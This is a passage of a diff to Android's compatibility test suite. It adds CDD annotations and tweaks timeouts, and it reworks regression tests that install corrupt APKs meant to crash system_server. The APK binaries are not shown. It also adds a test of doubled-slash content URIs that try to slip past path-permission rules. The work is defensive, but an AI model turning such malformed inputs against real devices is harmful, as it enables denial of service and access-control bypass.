diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
index 5ef3a93..5b3339b 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
@@ -139,8 +139,11 @@
         int numTests = countTestCases();
         long startTime = System.currentTimeMillis();
         listener.testRunStarted(getClass().getName(), numTests);
-        super.run(new HostTestListener(listener));
-        listener.testRunEnded(System.currentTimeMillis() - startTime, Collections.emptyMap());
+        try {
+            super.run(new HostTestListener(listener));
+        } finally {
+            listener.testRunEnded(System.currentTimeMillis() - startTime, Collections.emptyMap());
+        }
     }
 
     /**
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 0ef5da3..2a8c819 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -32,7 +32,8 @@
 
 LOCAL_REQUIRED_MODULES := \
 	CtsCorruptApkTests_b71360999 \
-	CtsCorruptApkTests_b71361168
+	CtsCorruptApkTests_b71361168 \
+	CtsCorruptApkTests_b79488511
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 00bac12..90dbaf8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -27,6 +27,8 @@
 import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.RunUtil;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.BufferedReader;
 import java.io.EOFException;
 import java.io.File;
@@ -119,6 +121,7 @@
      * Test that an app that declares the same shared uid as an existing app, cannot be installed
      * if it is signed with a different certificate.
      */
+    @CddTest(requirement="9.2/C-0-2")
     public void testSharedUidDifferentCerts() throws Exception {
         Log.i(LOG_TAG, "installing apks with shared uid, but different certs");
         try {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index bcf67b0..8ac50af 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -15,15 +15,23 @@
  */
 package android.appsecurity.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import com.android.ddmlib.Log.LogLevel;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.InputStreamSource;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
+import org.junit.Assert;
 import org.junit.Before;
 
 import java.io.File;
@@ -33,88 +41,113 @@
  * do not cause the system to crash.
  */
 public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
-    private final String B71360999_PKG = "com.android.appsecurity.b71360999";
-    private final String B71361168_PKG = "com.example.helloworld";
 
     private IBuildInfo mBuildInfo;
 
+    /** A container for information about the system_server process. */
+    private class SystemServerInformation {
+        final long mPid;
+        final long mStartTime;
+
+        SystemServerInformation(long pid, long startTime) {
+            this.mPid = pid;
+            this.mStartTime = startTime;
+        }
+
+        @Override
+        public boolean equals(Object actual) {
+            return (actual instanceof SystemServerInformation)
+                && mPid == ((SystemServerInformation) actual).mPid
+                && mStartTime == ((SystemServerInformation) actual).mStartTime;
+        }
+    }
+
+    /** Retrieves the process id and elapsed run time of system_server. */
+    private SystemServerInformation retrieveInfo() throws DeviceNotAvailableException {
+        ITestDevice device = getDevice();
+
+        // Retrieve the process id of system_server
+        String pidResult = device.executeShellCommand("pidof system_server").trim();
+        assertNotNull("Failed to retrieve pid of system_server", pidResult);
+        long pid = 0;
+        try {
+            pid = Long.parseLong(pidResult);
+        } catch (NumberFormatException | IndexOutOfBoundsException e) {
+            fail("Unable to parse pid of system_server '" + pidResult + "'");
+        }
+
+        // Retrieve the start time of system_server
+        long startTime = 0;
+        String pidStats = device.executeShellCommand("cat /proc/" + pid + "/stat");
+        assertNotNull("Failed to retrieve stat of system_server with pid '" + pid + "'", pidStats);
+        try {
+            String startTimeJiffies = pidStats.split("\\s+")[21];
+            startTime = Long.parseLong(startTimeJiffies);
+        } catch (NumberFormatException | IndexOutOfBoundsException e) {
+            fail("Unable to parse system_server stat file '" + pidStats + "'");
+        }
+
+        return new SystemServerInformation(pid, startTime);
+    }
+
     @Override
     public void setBuild(IBuildInfo buildInfo) {
         mBuildInfo = buildInfo;
     }
 
+   /** Uninstall any test APKs already present on device. */
+    private void uninstallApks() throws DeviceNotAvailableException {
+        ITestDevice device = getDevice();
+        device.uninstallPackage("com.android.appsecurity.b71360999");
+        device.uninstallPackage("com.android.appsecurity.b71361168");
+        device.uninstallPackage("com.android.appsecurity.b79488511");
+    }
+
     @Before
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        uninstall(B71360999_PKG);
-        uninstall(B71361168_PKG);
+        uninstallApks();
     }
 
     @After
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        uninstall(B71360999_PKG);
-        uninstall(B71361168_PKG);
-    }
-
-    /** Uninstall the apk if the test failed previously. */
-    public void uninstall(String pkg) throws Exception {
-        ITestDevice device = getDevice();
-        if (device.getInstalledPackageNames().contains(pkg)) {
-            device.uninstallPackage(pkg);
-        }
+        uninstallApks();
     }
 
     /**
-     * Tests that apks described in b/71360999 do not install successfully nor cause
+     * Asserts that installing the application does not cause a native error causing system_server
+     * to crash (typically the result of a buffer overflow or an out-of-bounds read).
      */
-    public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
-        final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
-        assertFailsToInstall(APK_PATH, B71360999_PKG);
-    }
+    private void assertInstallDoesNotCrashSystem(String apk) throws Exception {
+        SystemServerInformation beforeInfo = retrieveInfo();
 
-    /**
-     * Tests that apks described in b/71361168 do not install successfully.
-     */
-    public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
-        final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
-        assertFailsToInstall(APK_PATH, B71361168_PKG);
-    }
-
-    /**
-     * Assert that the app fails to install and the reason for failing is not caused by a buffer
-     * overflow nor a out of bounds read.
-     **/
-    private void assertFailsToInstall(String filename, String pkg) throws Exception {
-        ITestDevice device = getDevice();
-        device.clearLogcat();
-
-        final String result = device.installPackage(
-                new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
-                true /*reinstall*/);
-
-        assertNotNull(result);
-        assertFalse(result.isEmpty());
-        assertFalse(device.getInstalledPackageNames().contains(pkg));
-
-        // This catches if the device fails to install the app because a segmentation fault
-        // or out of bounds read created by the bug occurs
-        File tmpTxtFile = null;
-        InputStreamSource source = device.getLogcat(200 * 1024);
-        try {
-            assertNotNull(source);
-            tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
-            FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
-            String s = FileUtil.readStringFromFile(tmpTxtFile);
-            assertFalse(s.contains("SIGSEGV"));
-            assertFalse(s.contains("==ERROR"));
-        } finally {
-            source.close();
-            if (tmpTxtFile != null) {
-                FileUtil.deleteFile(tmpTxtFile);
-            }
+        final String result = getDevice().installPackage(
+                new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
+                false /*reinstall*/);
+        CLog.logAndDisplay(LogLevel.INFO, "Result: '" + result + "'");
+        if (result != null) {
+            assertFalse("Install package segmentation faulted",
+                result.toLowerCase().contains("segmentation fault"));
         }
+
+        assertEquals("system_server restarted", beforeInfo, retrieveInfo());
     }
-}
+
+    /** Tests that installing the APK described in b/71360999 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b71360999() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71360999.apk");
+    }
+
+    /** Tests that installing the APK described in b/71361168 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b71361168() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71361168.apk");
+    }
+
+    /** Tests that installing the APK described in b/79488511 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b79488511() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2174fa0..ddec487 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -175,7 +175,7 @@
                     doTest = false;
                 }
                 getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                getDevice().waitForDeviceOnline();
+                getDevice().waitForDeviceOnline(120000);
             } else {
                 getDevice().rebootUntilOnline();
             }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index fdd2f06..a833d73 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -30,9 +30,12 @@
 import java.util.List;
 import java.util.Map;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Tests for ephemeral packages.
  */
+@CddTest(requirement="3.15/C-0-1,C-0-2,C-0-3,C-0-4")
 public class EphemeralTest extends DeviceTestCase
         implements IAbiReceiver, IBuildReceiver {
 
@@ -130,22 +133,27 @@
         super.tearDown();
     }
 
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testNormalQuery() throws Exception {
         runDeviceTests(NORMAL_PKG, TEST_CLASS, "testQuery");
     }
 
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testNormalStartNormal() throws Exception {
         runDeviceTests(NORMAL_PKG, TEST_CLASS, "testStartNormal");
     }
 
+    @CddTest(requirement="3.15/C-0-2/C-0-3")
     public void testNormalStartEphemeral() throws Exception {
         runDeviceTests(NORMAL_PKG, TEST_CLASS, "testStartEphemeral");
     }
 
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testEphemeralQuery() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testQuery");
     }
 
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testEphemeralStartNormal() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartNormal");
     }
@@ -153,41 +161,62 @@
     // each connection to an exposed component needs to run in its own test to
     // avoid sharing state. once an instant app is exposed to a component, it's
     // exposed until the device restarts or the instant app is removed.
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testEphemeralStartExposed01() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed01");
     }
+
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testEphemeralStartExposed02() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed02");
     }
+
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testEphemeralStartExposed03() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed03");
     }
+
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testEphemeralStartExposed04() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed04");
     }
+
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testEphemeralStartExposed05() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed05");
     }
+
+    @CddTest(requirement="C-0-2,C-0-3")
     public void testEphemeralStartExposed06() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed06");
     }
+
+    @CddTest(requirement="C-0-2,C-0-3")
     public void testEphemeralStartExposed07() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed07");
     }
+
+    @CddTest(requirement="C-0-2,C-0-3")
     public void testEphemeralStartExposed08() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed08");
     }
+
+    @CddTest(requirement="C-0-2,C-0-3")
     public void testEphemeralStartExposed09() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed09");
     }
+
+    @CddTest(requirement="C-0-2,C-0-3")
     public void testEphemeralStartExposed10() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed10");
     }
 
+    @CddTest(requirement="3.15/C-0-2,C-0-3")
     public void testEphemeralStartEphemeral() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartEphemeral");
     }
 
+    @CddTest(requirement="3.15/C-0-3")
     public void testExposedSystemActivities() throws Exception {
         for (Map<String, String> testArgs : EXPECTED_EXPOSED_INTENTS) {
             final boolean exposed = isIntentExposed(testArgs);
@@ -203,6 +232,7 @@
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testBuildSerialUnknown");
     }
 
+    @CddTest(requirement="3.15/C-0-4")
     public void testPackageInfo() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testPackageInfo");
     }
@@ -211,10 +241,12 @@
         runDeviceTests(EPHEMERAL_1_PKG, WEBVIEW_TEST_CLASS, "testWebViewLoads");
     }
 
+    @CddTest(requirement="3.15/C-0-1")
     public void testInstallPermissionNotGranted() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionNotGranted");
     }
 
+    @CddTest(requirement="3.15/C-0-1")
     public void testInstallPermissionGranted() throws Exception {
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index caabeb5..620e881 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -17,6 +17,7 @@
 package android.appsecurity.cts;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.CddTest;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -167,6 +168,7 @@
                 "testGranted");
     }
 
+    @CddTest(requirement="9.1/C-0-3")
     public void testInteractiveGrant23() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 589d3b9..f324573 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,6 +16,8 @@
 
 package android.appsecurity.cts;
 
+import com.android.compatibility.common.util.CddTest;
+
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -33,6 +35,7 @@
 /**
  * Tests for APK signature verification during installation.
  */
+@CddTest(requirement="4/C-0-2")
 public class PkgInstallSignatureVerificationTest extends DeviceTestCase implements IBuildReceiver {
 
     private static final String TEST_PKG = "android.appsecurity.cts.tinyapp";
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
index feaaa03..9fd8b98 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
@@ -28,4 +28,12 @@
 LOCAL_SRC_FILES := b71361168.apk
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_CERTIFICATE := PRESIGNED
+include $(BUILD_PREBUILT)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsCorruptApkTests_b79488511
+LOCAL_MODULE_CLASS := APPS
+LOCAL_SRC_FILES := b79488511.apk
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CERTIFICATE := PRESIGNED
 include $(BUILD_PREBUILT)
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
index ef1e2bf..dc00656 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk
new file mode 100644
index 0000000..22af499
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 37744fa..a7d7c8d 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,6 +19,7 @@
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
 
+import android.app.KeyguardManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -55,6 +56,7 @@
     private Context mCe;
     private Context mDe;
     private PackageManager mPm;
+    private KeyguardManager mKm;
 
     private UiDevice mDevice;
     private AwareActivity mActivity;
@@ -66,6 +68,7 @@
         mCe = getInstrumentation().getContext();
         mDe = mCe.createDeviceProtectedStorageContext();
         mPm = mCe.getPackageManager();
+        mKm = (KeyguardManager) mCe.getSystemService(Context.KEYGUARD_SERVICE);
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         assertNotNull(mDevice);
@@ -99,7 +102,9 @@
 
     public void testTearDown() throws Exception {
         // Just in case, always try tearing down keyguard
-        dismissKeyguard();
+        if (mKm.isKeyguardLocked()) {
+            dismissKeyguard();
+        }
 
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 AwareActivity.class, null);
@@ -172,6 +177,9 @@
         mDevice.pressMenu();
         mDevice.waitForIdle();
         enterTestPin();
+        mDevice.waitForIdle();
+        mDevice.pressHome();
+        mDevice.waitForIdle();
     }
 
     public void assertLocked() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index 9b69057..8470bbb 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -21,6 +21,7 @@
 import static com.android.cts.storageapp.Utils.CACHE_ALL;
 import static com.android.cts.storageapp.Utils.CODE_ALL;
 import static com.android.cts.storageapp.Utils.DATA_ALL;
+import static com.android.cts.storageapp.Utils.KB_IN_BYTES;
 import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
 import static com.android.cts.storageapp.Utils.PKG_A;
 import static com.android.cts.storageapp.Utils.PKG_B;
@@ -140,7 +141,7 @@
         final StorageStats as = stats.queryStatsForUid(UUID_DEFAULT, a.uid);
         final StorageStats bs = stats.queryStatsForUid(UUID_DEFAULT, b.uid);
 
-        assertMostlyEquals(DATA_ALL * 2, as.getDataBytes());
+        assertMostlyEquals(DATA_ALL * 2, as.getDataBytes(), 600 * KB_IN_BYTES);
         assertMostlyEquals(CACHE_ALL * 2, as.getCacheBytes());
 
         assertMostlyEquals(DATA_ALL, bs.getDataBytes());
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
index cf16307..f2cbc6c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
@@ -114,6 +114,16 @@
         }
     }
 
+    private void assertContentUriAllowed(Uri uri) {
+        assertReadingContentUriAllowed(uri);
+        assertWritingContentUriAllowed(uri);
+    }
+
+    private void assertContentUriNotAllowed(Uri uri, String msg) {
+        assertReadingContentUriNotAllowed(uri, msg);
+        assertWritingContentUriNotAllowed(uri, msg);
+    }
+
     private void assertWritingContentUriNotAllowed(Uri uri, String msg) {
         final ContentResolver resolver = getContext().getContentResolver();
         try {
@@ -526,10 +536,18 @@
     }
 
     private void doTestGrantUriPermissionFail(Uri uri) {
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION, false);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION, true);
-        grantUriPermissionFail(uri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, true);
+        for (boolean service : new boolean[] { false, true }) {
+            for (int flags : new int[] {
+                    Intent.FLAG_GRANT_READ_URI_PERMISSION, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+            }) {
+                grantUriPermissionFail(uri,
+                        flags, service);
+                grantUriPermissionFail(uri,
+                        flags | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, service);
+                grantUriPermissionFail(uri,
+                        flags | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, service);
+            }
+        }
     }
     
     /**
@@ -1189,6 +1207,26 @@
     }
 
     /**
+     * Test that shady {@link Uri} are blocked by {@code path-permission}.
+     */
+    public void testRestrictingProviderMatchingShadyPaths() {
+        assertContentUriAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting/"));
+        assertContentUriAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting//"));
+        assertContentUriAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting///"));
+        assertContentUriNotAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting/foo"), null);
+        assertContentUriNotAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting//foo"), null);
+        assertContentUriNotAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting///foo"), null);
+        assertContentUriNotAllowed(
+                Uri.parse("content://ctspermissionwithsignaturepathrestricting/foo//baz"), null);
+    }
+
+    /**
      * Verify that at least one {@code path-permission} rule will grant access,
      * even if the caller doesn't hold another matching {@code path-permission}.
      */
diff --git a/hostsidetests/atrace/Android.mk b/hostsidetests/atrace/Android.mk
index eb6d14d..59d5e56 100644
--- a/hostsidetests/atrace/Android.mk
+++ b/hostsidetests/atrace/Android.mk
@@ -21,7 +21,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsAtraceHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.host.atrace
 
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index 25c0b89..802affb 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -24,6 +24,8 @@
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.Reader;
@@ -154,6 +156,7 @@
     /**
      * Tests that atrace exists and is runnable with no args
      */
+    @CddTest(requirement="6.1/C-0-9")
     public void testSimpleRun() throws Exception {
         String output = getDevice().executeShellCommand("atrace");
         String[] lines = output.split("\\r?\\n");
@@ -169,6 +172,7 @@
     /**
      * Tests the output of "atrace --list_categories" to ensure required categories exist.
      */
+    @CddTest(requirement="6.1/C-0-9")
     public void testCategories() throws Exception {
         String output = getDevice().executeShellCommand("atrace --list_categories");
         String[] categories = output.split("\\r?\\n");
@@ -195,6 +199,7 @@
     /**
      * Tests that atrace captures app launch, including app level tracing
      */
+    @CddTest(requirement="6.1/C-0-9")
     public void testTracingContent() throws Exception {
         String atraceOutput = null;
         try {
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index cb8f163..d6d7386 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -49,6 +49,7 @@
 import java.io.IOException;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
 
 import static junit.framework.Assert.assertFalse;
 import static junit.framework.Assert.assertTrue;
@@ -62,6 +63,7 @@
 public class CtsSyncAccountAccessOtherCertTestCases {
     private static final long SYNC_TIMEOUT_MILLIS = 20000; // 20 sec
     private static final long UI_TIMEOUT_MILLIS = 5000; // 5 sec
+    private static final Pattern PERMISSION_REQUESTED = Pattern.compile("^Permission requested.*");
 
     public static final String TOKEN_TYPE_REMOVE_ACCOUNTS = "TOKEN_TYPE_REMOVE_ACCOUNTS";
 
@@ -125,10 +127,10 @@
                 notification.click();
             } else {
                 uiDevice.openNotification();
-                uiDevice.wait(Until.hasObject(By.text("Permission requested")),
+                uiDevice.wait(Until.hasObject(By.text(PERMISSION_REQUESTED)),
                         UI_TIMEOUT_MILLIS);
 
-                uiDevice.findObject(By.text("Permission requested")).click();
+                uiDevice.findObject(By.text(PERMISSION_REQUESTED)).click();
             }
 
             uiDevice.wait(Until.hasObject(By.text("ALLOW")),
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
index 488823a..016090e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
@@ -18,6 +18,8 @@
 
 import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Validates that a device owner or profile owner cannot enable the always-on feature for
  * unsupported VPN apps.
@@ -29,6 +31,7 @@
  *         {@link android.net.VpnService#SERVICE_META_DATA_SUPPORTS_ALWAYS_ON}</li>
  * </ul>
  */
+@CddTest(requirement="9.8.4/C-3-1")
 public class AlwaysOnVpnUnsupportedTest extends BaseDeviceAdminTest {
 
     public void testAssertNoAlwaysOnVpn() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index efc7115..d44b782 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -19,6 +19,8 @@
